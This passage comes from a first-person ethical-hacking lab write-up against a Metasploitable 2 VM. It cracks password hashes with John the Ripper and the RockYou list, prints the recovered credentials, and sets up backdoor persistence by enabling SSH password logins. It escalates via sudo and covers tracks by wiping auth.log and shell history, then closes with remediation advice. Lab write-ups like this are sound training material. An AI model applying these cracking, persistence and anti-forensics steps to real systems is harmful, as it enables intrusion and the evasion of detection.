└─$ unshadow passwd.txt shadow.txt > unshadowed.txt

(kali㉿kali)-[~]
└─$

```

We will then brute force the hashed passwords using **John the Ripper** which is a well known password cracking program using

john unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt

In this part, we won't brute force it by trying different random letters and numbers, instead we will use a famous text file called rockyou.txt which contains 14 million real passwords that were stolen from a social media site called "RockYou" in 2009. It contains common passwords like 123456, password, iloveyou, etc.

```
(kali㉿kali)-[~]
└─$ john unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: only loading hashes of type "md5crypt", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Remaining 1 password hash
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:13 24.93% (ETA: 09:02:28) 0g/s 285587p/s 285587c/s 285587C/s silvai21..silt202
0g 0:00:00:46 74.71% (ETA: 09:02:37) 0g/s 228353p/s 228353c/s 228353C/s RAYRA2..RAYA1998
0g 0:00:01:02 DONE (2025-12-21 09:02) 0g/s 224701p/s 224701c/s 224701C/s ejngyhga007..*7¡Vamos!
Session completed.
```

```
(kali㉿kali)-[~]
└─$
```

To see the unshadowed results, we can use **john --show unshadowed.txt**

```
(kali㉿kali)-[~]
└─$ john --show unshadowed.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash

6 password hashes cracked, 2 left
```

We can see that it cracked 6 passwords but there were 2 left. The root account hash was successfully exfiltrated, but the password withstood the dictionary attack using the RockYou wordlist, indicating a higher complexity password compared to the other service accounts.

PRIVILEGE ESCALATION

(For added persistence and additional backdoor)

We can make use of these accounts for added persistence. In this scene, I tried to get in using the msfadmin using

```
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@192.168.56.101
```

```
(kali@kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@192.168.56.101
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.56.101: Permission denied (publickey).
```

Unfortunately we were unable to get in. I tried logging in again using our backdoor_key as root to change the ssh configuration

```
(kali@kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ~/.ssh/backdoor_key root@192.168.56.101
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Sun Dec 21 08:50:56 2025 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# nano /etc/ssh/sshd_config
Error opening terminal: xterm-256color.
root@metasploitable:~# export TERM=xterm
root@metasploitable:~# nano /etc/ssh/sshd_config
root@metasploitable:~# /etc/init.d/ssh restart
 * Restarting OpenBSD Secure Shell server sshd
root@metasploitable:~#
root@metasploitable:~# exit
logout
Connection to 192.168.56.101 closed.
```

One of the problems that I've encountered here is the **Error opening terminal: xterm-256color**. Which is a common issue when interacting with older systems via modern shells but I was able to bypass this by doing **export TERM=xterm** then opening the ssh configuration file again in nano. Basically it downgrades my terminal's feature list so ancient servers like this can understand my linux kali without crashing.

I then changed the **PasswordAuthentication** here from no to **yes** to get in with msfadmin

```
#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

PasswordAuthentication yes
UsePAM yes
█
```

After this we restarted the shell and exit using **/etc/init.d/ssh restart** and **exit**.

```
root@metasploitable:~# /etc/init.d/ssh restart
* Restarting OpenBSD Secure Shell server sshd
root@metasploitable:~#
root@metasploitable:~# exit
logout
Connection to 192.168.56.101 closed.
```

I retried going in again using the msfadmin and this time it prompted us to input a password which is **msfadmin** then we got in as msfadmin (whoami)

```
(kali@kali)-[~]
└─$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@192.168.56.101
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.56.101's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Dec 21 08:51:10 2025
msfadmin@metasploitable:~$ whoami
msfadmin
```

From here we can escalate our privilege to root by doing **sudo su** then typing the password **msfadmin**

```
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# whoami
root
```

Now we were able to make our **msfadmin to root** level and have another way to get in when the vsftpd gets patched and if the `authorized_keys` get deleted.

We can enter as **msfadmin** and then escalate our privilege to root so we can still have control even if some of our entries are blocked off which is good for a back up plan since logging in as **msfadmin** via **ssh** looks like a regular employee unlike connecting to a strange port (6200) which looks suspicious on a firewall log .

PHASE 5: CLEAN UP AND COVERING TRACKS

To complete the engagement and simulate a sophisticated adversary, I performed anti-forensics to remove indicators of compromise (IOCs) and delay detection by the Blue Team.

Wipe the authentication logs (hides your IP address from the log file)

```
echo "" > /var/log/auth.log
```

Clear your current session history (hides commands typed in RAM)

```
history -c
```

Delete the saved history file (hides commands saved to disk)

```
rm ~/.bash_history
```

Exit the root shell

Exit the msfadmin shell

```
root@metasploitable:/home/msfadmin# echo "" > /var/log/auth.log
root@metasploitable:/home/msfadmin# history -c
root@metasploitable:/home/msfadmin# rm ~/.bash_history
root@metasploitable:/home/msfadmin# exit
exit
msfadmin@metasploitable:~$ exit
logout
Connection to 192.168.56.101 closed.
```

```
(kaliⓈkali)-[~]
$
```

Remediation & Recommendations

To mitigate the risks identified during this assessment, the following actions are recommended:

1. Patch and Update Services:

- The vsftpd 2.3.4 version is fundamentally insecure due to a known backdoor. It should be immediately updated to a secure, modern version or replaced with a more secure file transfer alternative like SFTP (SSH File Transfer Protocol).

2. Harden SSH Configuration:

- Disable root login over SSH to prevent direct administrative compromise.
- Enforce Public Key Authentication and disable password-based logins (PasswordAuthentication no).

3. Password Policy Enforcement:

Implement a strong password policy requiring high complexity and regular rotation to defend against dictionary attacks like those performed with the RockYou wordlist.

4. Network-Level Security:

- Use a firewall to restrict access to only necessary services and close high-risk ports that are not required for business operations.

Conclusion

The assessment of the Metasploitable 2 target confirmed the presence of severe security flaws that facilitate a complete system takeover. By exploiting a single unpatched service, an attacker can gain administrative control, steal credentials, and establish multiple persistent backdoors while evading standard detection methods. This engagement underscores the vital importance of regular vulnerability scanning, prompt patch management, and the implementation of "Defense in Depth" strategies to protect critical infrastructure.

Lessons Learned (The Attacker Perspective)

As this was my first comprehensive hands-on application of the **Ethical Hacking Lifecycle**, several critical operational insights were gained:

- **The Power of Reconnaissance:** I learned that effective recon is the foundation of a successful engagement. By preparing extensively before the exploitation phase, I was able to minimize my "time-on-target." This reduces the risk of detection by Blue Teams, as the attacker spends less time moving loudly inside the system.
- **Operational Troubleshooting (The "Session" Mystery):** During the vsftpd exploit, the automated session creation failed. I learned that even when an exploit is "successful," the payload might not automatically drop you into a shell. Manually verifying active connections with sessions -ls proved that the foothold existed, reinforcing the lesson that a pentester must never rely solely on a tool's automation.
- **Stealth via Persistence & Lateral Movement:** My objective shifted from just "getting root" to "staying root." By harvesting credentials for accounts like msfadmin, I established multiple entry points. Logging in via SSH as a standard user and then escalating to root via sudo is significantly quieter and more likely to bypass security alerts than a direct root login or a suspicious reverse shell.
- **Environmental Adaptability:** Encountering the xterm-256color error was a vital lesson in legacy system interaction. Learning to manually downgrade terminal features with export TERM=xterm ensured I could maintain control over the system configuration without crashing the shell or the nano editor.